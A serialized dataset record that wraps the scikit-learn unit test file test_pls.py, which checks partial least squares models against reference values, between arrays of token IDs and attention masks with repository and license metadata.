508, 488, 26, 1675, 746, 9070, 480, 2846, 440, 1551, 531, 4341, 574, 2848, 275, 291, 423, 29135, 8, 2473, 12, 574, 9, 4341, 291, 14, 831, 14, 8174, 342, 1039, 862, 26, 1675, 291, 14, 697, 59, 2473, 61, 275, 574, 2848, 1675, 340, 291, 14, 1501, 26, 2628, 291, 14, 697, 14, 5186, 342, 1039, 3753, 26, 1675, 291, 14, 831, 14, 3221, 342, 2958, 347, 636, 13228, 721, 277, 12, 3434, 304, 1039, 340, 291, 14, 697, 508, 488, 26, 1675, 746, 9070, 480, 2846, 440, 1551, 531, 4341, 291, 14, 831, 14, 8174, 342, 1039, 862, 26, 1675, 2150, 8, 277, 14, 697, 59, 2473, 566, 1675, 340, 291, 14, 1501, 26, 2628, 291, 14, 697, 14, 5186, 342, 1039, 3753, 26, 1675, 291, 14, 831, 14, 3221, 342, 2958, 347, 636, 6134, 721, 277, 12, 3434, 304, 1039, 408, 1799, 340, 314, 3050, 3509, 314, 2013, 3434, 14, 4341, 768, 466, 3434, 26, 620, 1039, 768, 635, 3434, 26, 710, 3434, 370, 1104, 367, 14, 4341, 768, 4500, 26, 2155, 1039, 768, 1107, 26, 715, 340, 314, 3050, 3509, 314, 3434, 12, 756, 1039, 4257, 14, 4341, 408, 1039, 340, 291, 14, 697, 508, 488, 26, 1675, 746, 9070, 480, 2846, 440, 1551, 531, 4341, 291, 14, 831, 14, 8174, 342, 1039, 862, 26, 1675, 372, 291, 14, 697, 14, 1989, 63, 498, 8, 2473, 9, 1039, 3753, 26, 1675, 291, 14, 831, 14, 3221, 342, 2958, 347, 1104, 8, 277, 12, 3434, 12, 1215, 304, 1039, 574, 275, 291, 855, 6095, 721, 2473, 9, 1039, 372, 291, 423, 1074, 2081, 8, 585, 12, 3434, 12, 1215, 9, 2958, 347, 2883, 8, 277, 304, 1039, 408, 1767, 282, 769, 402, 922, 1247, 315, 314, 3050, 14, 4341, 768, 4500, 26, 769, 1039, 768, 1107, 26, 710, 922, 1247, 315, 314, 3050, 14, 1039, 408, 1039, 340, 291, 14, 697, 508, 488, 26, 1675, 746, 9070, 480, 2846, 440, 1551, 531, 4341, 291, 14, 831, 14, 8174, 342, 1039, 862, 26, 1675, 922, 1247, 275, 291, 14, 697, 14, 1612, 342, 1039, 3753, 26, 1675, 291, 14, 831, 14, 3221, 342, 1039, 922, 1247, 275, 359, 85, 367, 399, 315, 922, 1247, 340, 440, 399, 14, 2460, 6739, 10285, 306, 11323, 1039, 372, 922, 1247, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1563, 1021, 367, 23752, 1197, 2846, 436, 5444, 9893, 2846, 1041, 2999, 199, 646, 1263, 20666, 202, 199, 646, 2462, 2999, 199, 533, 3523, 2846, 26, 1128, 347, 636, 826, 721, 277, 12, 1788, 12, 730, 304, 1039, 291, 14, 466, 275, 730, 1039, 291, 14, 1501, 275, 1788, 1039, 340, 291, 14, 1501, 26, 1675, 291, 14, 697, 275, 488, 1039, 587, 26, 1675, 291, 14, 697, 275, 1052, 1039, 291, 14, 831, 275, 2462, 14, 12991, 63, 831, 342, 2958, 347, 1218, 8, 277, 304, 1039, 408, 2499, 282, 892, 641, 13, 4032, 3050, 14, 4341, 768, 3730, 1263, 20666, 14, 705, 26, 982, 2337, 1159, 282, 5160, 6425, 314, 3050, 14, 1039, 408, 1039, 340, 291, 14, 1501, 26, 1675, 291, 14, 697, 275, 1263, 20666, 14, 1490, 8, 277, 14, 1501, 12, 298, 78, 531, 327, 3536, 1263, 20666, 14, 705, 1675, 291, 14, 697, 905, 306, 10285, 306, 466, 937, 275, 291, 14, 466, 1675, 291, 14, 697, 14, 5186, 342, 1039, 587, 26, 1675, 291, 14, 697, 275, 1052, 2958, 347, 1551, 8, 277, 304, 1039, 408, 4299, 282, 876, 13, 5952, 641, 13, 4032, 3050, 14, 4341, 768, 3730, 1263, 20666, 14, 705, 26, 982, 2337, 1159, 282, 5160, 13618, 314, 3050, 14, 1039, 768, 3730, 1722, 26, 982, 314, 3050, 365, 440, 402, 314, 2451, 730, 14, 1039, 408, 1039, 340, 440, 291, 14, 1501, 26, 1675, 746, 1722, 480, 6049, 1454, 1551, 641, 13, 4032, 16219, 531, 1039, 291, 14, 697, 275, 1263, 20666, 14, 1490, 8, 277, 14, 1501, 12, 298, 87, 531, 327, 3536, 1263, 20666, 14, 705, 1039, 862, 26, 1675, 340, 291, 14, 697, 905, 306, 10285, 306, 466, 937, 1137, 291, 14, 466, 26, 2628, 746, 1722, 480, 1763, 282, 450, 83, 3050, 2, 450, 291, 14, 466, 9, 1039, 871, 4067, 26, 1675, 746, 1722, 480, 1763, 282, 18054, 3050, 531, 2958, 347, 636, 6095, 721, 277, 12, 3434, 304, 1039, 340, 291, 14, 697, 508, 488, 26, 1675, 746, 9070, 480, 2846, 440, 1551, 531, 4341, 291, 14, 831, 14, 8174, 342, 1039, 862, 26, 1675, 574, 2848, 275, 291, 14, 697, 59, 2473, 61, 1039, 3753, 26, 1675, 291, 14, 831, 14, 3221, 342, 4341, 372, 291, 423, 362, 2081, 8, 2473, 12, 574, 2848, 9, 2958, 347, 636, 8617, 721, 277, 12, 3434, 12, 574, 304, 1039, 340, 291, 14, 697, 508, 488, 26, 1675, 746, 9070, 480, 2846, 440, 1551, 531, 4341, 574, 2848, 275, 291, 423, 29135, 8, 2473, 12, 574, 9, 4341, 291, 14, 831, 14, 8174, 342, 1039, 862, 26, 1675, 291, 14, 697, 59, 2473, 61, 275, 574, 2848, 1675, 340, 291, 14, 1501, 26, 2628, 291, 14, 697, 14, 5186, 342, 1039, 3753, 26, 1675, 291, 14, 831, 14, 3221, 342, 2958, 347, 636, 13228, 721, 277, 12, 3434, 304, 1039, 340, 291, 14, 697, 508, 488, 26, 1675, 746, 9070, 480, 2846, 440, 1551, 531, 4341, 291, 14, 831, 14, 8174, 342, 1039, 862, 26, 1675, 2150, 8, 277, 14, 697, 59, 2473, 566, 1675, 340, 291, 14, 1501, 26, 2628, 291, 14, 697, 14, 5186, 342, 1039, 3753, 26, 1675, 291, 14, 831, 14, 3221, 342, 2958, 347, 636, 6134, 721, 277, 12, 3434, 304, 1039, 408, 1799, 340, 314, 3050, 3509, 314, 2013, 3434, 14, 4341, 768, 466, 3434, 26, 620, 1039, 768, 635, 3434, 26, 710, 3434, 370, 1104, 367, 14, 4341, 768, 4500, 26, 2155, 1039, 768, 1107, 26, 715, 340, 314, 3050, 3509, 314, 3434, 12, 756, 1039, 4257, 14, 4341, 408, 1039, 340, 291, 14, 697, 508, 488, 26, 1675, 746, 9070, 480, 2846, 440, 1551, 531, 4341, 291, 14, 831, 14, 8174, 342, 1039, 862, 26, 1675, 372, 291, 14, 697, 14, 1989, 63, 498, 8, 2473, 9, 1039, 3753, 26, 1675, 291, 14, 831, 14, 3221, 342, 2958, 347, 1104, 8, 277, 12, 3434, 12, 1215, 304, 1039, 574, 275, 291, 855, 6095, 721, 2473, 9, 1039, 372, 291, 423, 1074, 2081, 8, 585, 12, 3434, 12, 1215, 9, 2958, 347, 2883, 8, 277, 304, 1039, 408, 1767, 282, 769, 402, 922, 1247, 315, 314, 3050, 14, 4341, 768, 4500, 26, 769, 1039, 768, 1107, 26, 710, 922, 1247, 315, 314, 3050, 14, 1039, 408, 1039, 340, 291, 14, 697, 508, 488, 26, 1675, 746, 9070, 480, 2846, 440, 1551, 531, 4341, 291, 14, 831, 14, 8174, 342, 1039, 862, 26, 1675, 922, 1247, 275, 291, 14, 697, 14, 1612, 342, 1039, 3753, 26, 1675, 291, 14, 831, 14, 3221, 342, 1039, 922, 1247, 275, 359, 85, 367, 399, 315, 922, 1247, 340, 440, 399, 14, 2460, 6739, 10285, 306, 11323, 1039, 372, 922, 1247, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
jmargeta/scikit-learn
sklearn/tests/test_pls.py
6
9383
import numpy as np from sklearn.utils.testing import assert_array_almost_equal from sklearn.datasets import load_linnerud from sklearn import pls def test_pls(): d = load_linnerud() X = d.data Y = d.target # 1) Canonical (symetric) PLS (PLS 2 blocks canonical mode A) # =========================================================== # Compare 2 algo.: nipals vs. svd # ------------------------------ pls_bynipals = pls.PLSCanonical(n_components=X.shape[1]) pls_bynipals.fit(X, Y) pls_bysvd = pls.PLSCanonical(algorithm="svd", n_components=X.shape[1]) pls_bysvd.fit(X, Y) # check equalities of loading (up to the sign of the second column) assert_array_almost_equal( pls_bynipals.x_loadings_, np.multiply(pls_bysvd.x_loadings_, np.array([1, -1, 1])), decimal=5, err_msg="nipals and svd implementation lead to different x loadings") assert_array_almost_equal( pls_bynipals.y_loadings_, np.multiply(pls_bysvd.y_loadings_, np.array([1, -1, 1])), decimal=5, err_msg="nipals and svd implementation lead to different y loadings") # Check PLS properties (with n_components=X.shape[1]) # --------------------------------------------------- plsca = pls.PLSCanonical(n_components=X.shape[1]) plsca.fit(X, Y) T = plsca.x_scores_ P = plsca.x_loadings_ Wx = plsca.x_weights_ U = plsca.y_scores_ Q = plsca.y_loadings_ Wy = plsca.y_weights_ def check_ortho(M, err_msg): K = np.dot(M.T, M) assert_array_almost_equal(K, np.diag(np.diag(K)), err_msg=err_msg) # Orthogonality of weights # ~~~~~~~~~~~~~~~~~~~~~~~~ check_ortho(Wx, "x weights are not orthogonal") check_ortho(Wy, "y weights are not orthogonal") # Orthogonality of latent scores # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ check_ortho(T, "x scores are not orthogonal") check_ortho(U, "y scores are not orthogonal") # Check X = TP' and Y = UQ' (with (p == q) components) # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # center scale X, Y Xc, Yc, x_mean, y_mean, x_std, y_std =\ pls._center_scale_xy(X.copy(), Y.copy(), scale=True) assert_array_almost_equal(Xc, np.dot(T, P.T), err_msg="X != TP'") assert_array_almost_equal(Yc, np.dot(U, Q.T), err_msg="Y != UQ'") # Check that rotations on training data lead to scores # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Xr = plsca.transform(X) assert_array_almost_equal(Xr, plsca.x_scores_, err_msg="rotation on X failed") Xr, Yr = plsca.transform(X, Y) assert_array_almost_equal(Xr, plsca.x_scores_, err_msg="rotation on X failed") assert_array_almost_equal(Yr, plsca.y_scores_, err_msg="rotation on Y failed") # "Non regression test" on canonical PLS # -------------------------------------- # The results were checked against the R-package plspm pls_ca = pls.PLSCanonical(n_components=X.shape[1]) pls_ca.fit(X, Y) x_weights = np.array( [[-0.61330704, 0.25616119, -0.74715187], [-0.74697144, 0.11930791, 0.65406368], [-0.25668686, -0.95924297, -0.11817271]]) assert_array_almost_equal(pls_ca.x_weights_, x_weights) x_rotations = np.array( [[-0.61330704, 0.41591889, -0.62297525], [-0.74697144, 0.31388326, 0.77368233], [-0.25668686, -0.89237972, -0.24121788]]) assert_array_almost_equal(pls_ca.x_rotations_, x_rotations) y_weights = np.array( [[+0.58989127, 0.7890047, 0.1717553], [+0.77134053, -0.61351791, 0.16920272], [-0.23887670, -0.03267062, 0.97050016]]) assert_array_almost_equal(pls_ca.y_weights_, y_weights) y_rotations = np.array( [[+0.58989127, 0.7168115, 0.30665872], [+0.77134053, -0.70791757, 0.19786539], [-0.23887670, -0.00343595, 0.94162826]]) assert_array_almost_equal(pls_ca.y_rotations_, y_rotations) # 2) Regression PLS (PLS2): "Non regression test" # =============================================== # The results were checked against the R-packages plspm, misOmics and pls pls_2 = pls.PLSRegression(n_components=X.shape[1]) pls_2.fit(X, Y) x_weights = np.array( [[-0.61330704, -0.00443647, 0.78983213], [-0.74697144, -0.32172099, -0.58183269], [-0.25668686, 0.94682413, -0.19399983]]) assert_array_almost_equal(pls_2.x_weights_, x_weights) x_loadings = np.array( [[-0.61470416, -0.24574278, 0.78983213], [-0.65625755, -0.14396183, -0.58183269], [-0.51733059, 1.00609417, -0.19399983]]) assert_array_almost_equal(pls_2.x_loadings_, x_loadings) y_weights = np.array( [[+0.32456184, 0.29892183, 0.20316322], [+0.42439636, 0.61970543, 0.19320542], [-0.13143144, -0.26348971, -0.17092916]]) assert_array_almost_equal(pls_2.y_weights_, y_weights) y_loadings = np.array( [[+0.32456184, 0.29892183, 0.20316322], [+0.42439636, 0.61970543, 0.19320542], [-0.13143144, -0.26348971, -0.17092916]]) assert_array_almost_equal(pls_2.y_loadings_, y_loadings) # 3) Another non-regression test of Canonical PLS on random dataset # ================================================================= # The results were checked against the R-package plspm n = 500 p_noise = 10 q_noise = 5 # 2 latents vars: np.random.seed(11) l1 = np.random.normal(size=n) l2 = np.random.normal(size=n) latents = np.array([l1, l1, l2, l2]).T X = latents + np.random.normal(size=4 * n).reshape((n, 4)) Y = latents + np.random.normal(size=4 * n).reshape((n, 4)) X = np.concatenate( (X, np.random.normal(size=p_noise * n).reshape(n, p_noise)), axis=1) Y = np.concatenate( (Y, np.random.normal(size=q_noise * n).reshape(n, q_noise)), axis=1) np.random.seed(None) pls_ca = pls.PLSCanonical(n_components=3) pls_ca.fit(X, Y) x_weights = np.array( [[0.65803719, 0.19197924, 0.21769083], [0.7009113, 0.13303969, -0.15376699], [0.13528197, -0.68636408, 0.13856546], [0.16854574, -0.66788088, -0.12485304], [-0.03232333, -0.04189855, 0.40690153], [0.1148816, -0.09643158, 0.1613305], [0.04792138, -0.02384992, 0.17175319], [-0.06781, -0.01666137, -0.18556747], [-0.00266945, -0.00160224, 0.11893098], [-0.00849528, -0.07706095, 0.1570547], [-0.00949471, -0.02964127, 0.34657036], [-0.03572177, 0.0945091, 0.3414855], [0.05584937, -0.02028961, -0.57682568], [0.05744254, -0.01482333, -0.17431274]]) assert_array_almost_equal(pls_ca.x_weights_, x_weights) x_loadings = np.array( [[0.65649254, 0.1847647, 0.15270699], [0.67554234, 0.15237508, -0.09182247], [0.19219925, -0.67750975, 0.08673128], [0.2133631, -0.67034809, -0.08835483], [-0.03178912, -0.06668336, 0.43395268], [0.15684588, -0.13350241, 0.20578984], [0.03337736, -0.03807306, 0.09871553], [-0.06199844, 0.01559854, -0.1881785], [0.00406146, -0.00587025, 0.16413253], [-0.00374239, -0.05848466, 0.19140336], [0.00139214, -0.01033161, 0.32239136], [-0.05292828, 0.0953533, 0.31916881], [0.04031924, -0.01961045, -0.65174036], [0.06172484, -0.06597366, -0.1244497]]) assert_array_almost_equal(pls_ca.x_loadings_, x_loadings) y_weights = np.array( [[0.66101097, 0.18672553, 0.22826092], [0.69347861, 0.18463471, -0.23995597], [0.14462724, -0.66504085, 0.17082434], [0.22247955, -0.6932605, -0.09832993], [0.07035859, 0.00714283, 0.67810124], [0.07765351, -0.0105204, -0.44108074], [-0.00917056, 0.04322147, 0.10062478], [-0.01909512, 0.06182718, 0.28830475], [0.01756709, 0.04797666, 0.32225745]]) assert_array_almost_equal(pls_ca.y_weights_, y_weights) y_loadings = np.array( [[0.68568625, 0.1674376, 0.0969508], [0.68782064, 0.20375837, -0.1164448], [0.11712173, -0.68046903, 0.12001505], [0.17860457, -0.6798319, -0.05089681], [0.06265739, -0.0277703, 0.74729584], [0.0914178, 0.00403751, -0.5135078], [-0.02196918, -0.01377169, 0.09564505], [-0.03288952, 0.09039729, 0.31858973], [0.04287624, 0.05254676, 0.27836841]]) assert_array_almost_equal(pls_ca.y_loadings_, y_loadings) # Orthogonality of weights # ~~~~~~~~~~~~~~~~~~~~~~~~ check_ortho(pls_ca.x_weights_, "x weights are not orthogonal") check_ortho(pls_ca.y_weights_, "y weights are not orthogonal") # Orthogonality of latent scores # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ check_ortho(pls_ca.x_scores_, "x scores are not orthogonal") check_ortho(pls_ca.y_scores_, "y scores are not orthogonal") def test_scale(): d = load_linnerud() X = d.data Y = d.target # causes X[:, -1].std() to be zero X[:, -1] = 1.0 for clf in [pls.PLSCanonical(), pls.PLSRegression(), pls.CCA(), pls.PLSSVD()]: clf.set_params(scale=True) clf.fit(X, Y)
bsd-3-clause
[ 646, 2680, 465, 980, 199, 504, 6357, 14, 1208, 14, 4776, 492, 702, 63, 1144, 63, 4398, 63, 1452, 199, 504, 6357, 14, 12281, 492, 2248, 63, 472, 1372, 1181, 199, 504, 6357, 492, 299, 478, 421, 199, 318, 511, 63, 80, 478, 837, 272, 366, 275, 2248, 63, 472, 1372, 1181, 342, 272, 1323, 275, 366, 14, 576, 272, 1488, 275, 366, 14, 1375, 272, 327, 413, 9, 6855, 7174, 334, 1786, 5165, 9, 510, 5296, 334, 2749, 51, 499, 5664, 11358, 818, 437, 9, 272, 327, 19691, 17575, 272, 327, 18955, 499, 24633, 16781, 302, 711, 2551, 8118, 14, 26937, 272, 327, 10652, 10965, 272, 299, 478, 63, 991, 78, 711, 2551, 275, 299, 478, 14, 2749, 5153, 290, 7174, 8, 78, 63, 4608, 29, 56, 14, 1392, 59, 17, 566, 272, 299, 478, 63, 991, 78, 711, 2551, 14, 3269, 8, 56, 12, 1488, 9, 272, 299, 478, 63, 66, 588, 11549, 275, 299, 478, 14, 2749, 5153, 290, 7174, 8, 8833, 628, 18675, 401, 302, 63, 4608, 29, 56, 14, 1392, 59, 17, 566, 272, 299, 478, 63, 66, 588, 11549, 14, 3269, 8, 56, 12, 1488, 9, 272, 327, 1104, 4472, 12107, 402, 8697, 334, 384, 370, 314, 2070, 402, 314, 3499, 2763, 9, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 267, 299, 478, 63, 991, 78, 711, 2551, 14, 88, 63, 912, 780, 3131, 267, 980, 14, 13710, 8, 80, 478, 63, 66, 588, 11549, 14, 88, 63, 912, 780, 3131, 980, 14, 1144, 779, 17, 12, 446, 17, 12, 413, 12884, 6107, 29, 21, 12, 267, 2329, 63, 1328, 628, 78, 711, 2551, 436, 26937, 4514, 12690, 370, 3365, 671, 2248, 780, 531, 339, 702, 63, 1144, 63, 4398, 63, 1452, 8, 267, 299, 478, 63, 991, 78, 711, 2551, 14, 89, 63, 912, 780, 3131, 267, 980, 14, 13710, 8, 80, 478, 63, 66, 588, 11549, 14, 89, 63, 912, 780, 3131, 980, 14, 1144, 779, 17, 12, 446, 17, 12, 413, 12884, 6107, 29, 21, 12, 267, 2329, 63, 1328, 628, 78, 711, 2551, 436, 26937, 4514, 12690, 370, 3365, 612, 2248, 780, 531, 339, 327, 2670, 510, 5296, 4382, 334, 1045, 302, 63, 4608, 29, 56, 14, 1392, 59, 17, 566, 272, 327, 9527, 2595, 272, 299, 478, 696, 275, 299, 478, 14, 2749, 5153, 290, 7174, 8, 78, 63, 4608, 29, 56, 14, 1392, 59, 17, 566, 272, 299, 478, 696, 14, 3269, 8, 56, 12, 1488, 9, 272, 377, 275, 299, 478, 696, 14, 88, 63, 7107, 63, 272, 510, 275, 299, 478, 696, 14, 88, 63, 912, 780, 63, 272, 644, 88, 275, 299, 478, 696, 14, 88, 63, 4916, 63, 272, 738, 275, 299, 478, 696, 14, 89, 63, 7107, 63, 272, 1413, 275, 299, 478, 696, 14, 89, 63, 912, 780, 63, 272, 644, 89, 275, 299, 478, 696, 14, 89, 63, 4916, 63, 339, 347, 1104, 63, 11297, 79, 8, 45, 12, 2329, 63, 1328, 304, 267, 1804, 275, 980, 14, 3287, 8, 45, 14, 52, 12, 603, 9, 267, 702, 63, 1144, 63, 4398, 63, 1452, 8, 43, 12, 980, 14, 6706, 8, 1590, 14, 6706, 8, 43, 1826, 2329, 63, 1328, 29, 1508, 63, 1328, 9, 339, 327, 4236, 273, 974, 265, 6712, 402, 4931, 272, 327, 18294, 4919, 272, 1104, 63, 11297, 79, 8, 55, 88, 12, 298, 88, 4931, 787, 440, 29069, 531, 272, 1104, 63, 11297, 79, 8, 55, 89, 12, 298, 89, 4931, 787, 440, 29069, 531, 339, 327, 4236, 273, 974, 265, 6712, 402, 2465, 343, 9342, 272, 327, 18294, 22935, 1714, 272, 1104, 63, 11297, 79, 8, 52, 12, 298, 88, 9342, 787, 440, 29069, 531, 272, 1104, 63, 11297, 79, 8, 53, 12, 298, 89, 9342, 787, 440, 29069, 531, 339, 327, 2670, 1323, 275, 24328, 7, 436, 1488, 275, 738, 49, 7, 334, 1045, 334, 80, 508, 1894, 9, 7323, 9, 272, 327, 18294, 30642, 2878, 272, 327, 8126, 4666, 1323, 12, 1488, 272, 1323, 67, 12, 1488, 67, 12, 671, 63, 3670, 12, 612, 63, 3670, 12, 671, 63, 1516, 12, 612, 63, 1516, 26447, 267, 299, 478, 423, 4218, 63, 3467, 63, 1702, 8, 56, 14, 1574, 1062, 1488, 14, 1574, 1062, 4666, 29, 549, 9, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 56, 67, 12, 980, 14, 3287, 8, 52, 12, 510, 14, 52, 395, 2329, 63, 1328, 628, 56, 1137, 24328, 9859, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 57, 67, 12, 980, 14, 3287, 8, 53, 12, 1413, 14, 52, 395, 2329, 63, 1328, 628, 57, 1137, 738, 49, 9859, 339, 327, 2670, 626, 7513, 1298, 641, 6093, 666, 12690, 370, 9342, 272, 327, 18294, 30642, 2878, 272, 1323, 82, 275, 299, 478, 696, 14, 4711, 8, 56, 9, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 56, 82, 12, 299, 478, 696, 14, 88, 63, 7107, 3131, 2892, 2329, 63, 1328, 628, 15362, 641, 1323, 3405, 531, 272, 1323, 82, 12, 1488, 82, 275, 299, 478, 696, 14, 4711, 8, 56, 12, 1488, 9, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 56, 82, 12, 299, 478, 696, 14, 88, 63, 7107, 3131, 2892, 2329, 63, 1328, 628, 15362, 641, 1323, 3405, 531, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 57, 82, 12, 299, 478, 696, 14, 89, 63, 7107, 3131, 2892, 2329, 63, 1328, 628, 15362, 641, 1488, 3405, 531, 339, 327, 298, 6932, 10864, 511, 2, 641, 11358, 510, 5296, 272, 327, 11016, 8648, 272, 327, 710, 2058, 4898, 7923, 6169, 314, 820, 13, 2491, 299, 478, 7073, 272, 299, 478, 63, 696, 275, 299, 478, 14, 2749, 5153, 290, 7174, 8, 78, 63, 4608, 29, 56, 14, 1392, 59, 17, 566, 272, 299, 478, 63, 696, 14, 3269, 8, 56, 12, 1488, 9, 339, 671, 63, 4916, 275, 980, 14, 1144, 8, 267, 27291, 16, 14, 30896, 11516, 966, 12, 221, 378, 14, 3912, 975, 7119, 12, 446, 16, 14, 17592, 1046, 11775, 467, 268, 5243, 16, 14, 1342, 19301, 9862, 12, 221, 378, 14, 7119, 1216, 26814, 12, 221, 378, 14, 11157, 1690, 10997, 467, 268, 5243, 16 ]
[ 2680, 465, 980, 199, 504, 6357, 14, 1208, 14, 4776, 492, 702, 63, 1144, 63, 4398, 63, 1452, 199, 504, 6357, 14, 12281, 492, 2248, 63, 472, 1372, 1181, 199, 504, 6357, 492, 299, 478, 421, 199, 318, 511, 63, 80, 478, 837, 272, 366, 275, 2248, 63, 472, 1372, 1181, 342, 272, 1323, 275, 366, 14, 576, 272, 1488, 275, 366, 14, 1375, 272, 327, 413, 9, 6855, 7174, 334, 1786, 5165, 9, 510, 5296, 334, 2749, 51, 499, 5664, 11358, 818, 437, 9, 272, 327, 19691, 17575, 272, 327, 18955, 499, 24633, 16781, 302, 711, 2551, 8118, 14, 26937, 272, 327, 10652, 10965, 272, 299, 478, 63, 991, 78, 711, 2551, 275, 299, 478, 14, 2749, 5153, 290, 7174, 8, 78, 63, 4608, 29, 56, 14, 1392, 59, 17, 566, 272, 299, 478, 63, 991, 78, 711, 2551, 14, 3269, 8, 56, 12, 1488, 9, 272, 299, 478, 63, 66, 588, 11549, 275, 299, 478, 14, 2749, 5153, 290, 7174, 8, 8833, 628, 18675, 401, 302, 63, 4608, 29, 56, 14, 1392, 59, 17, 566, 272, 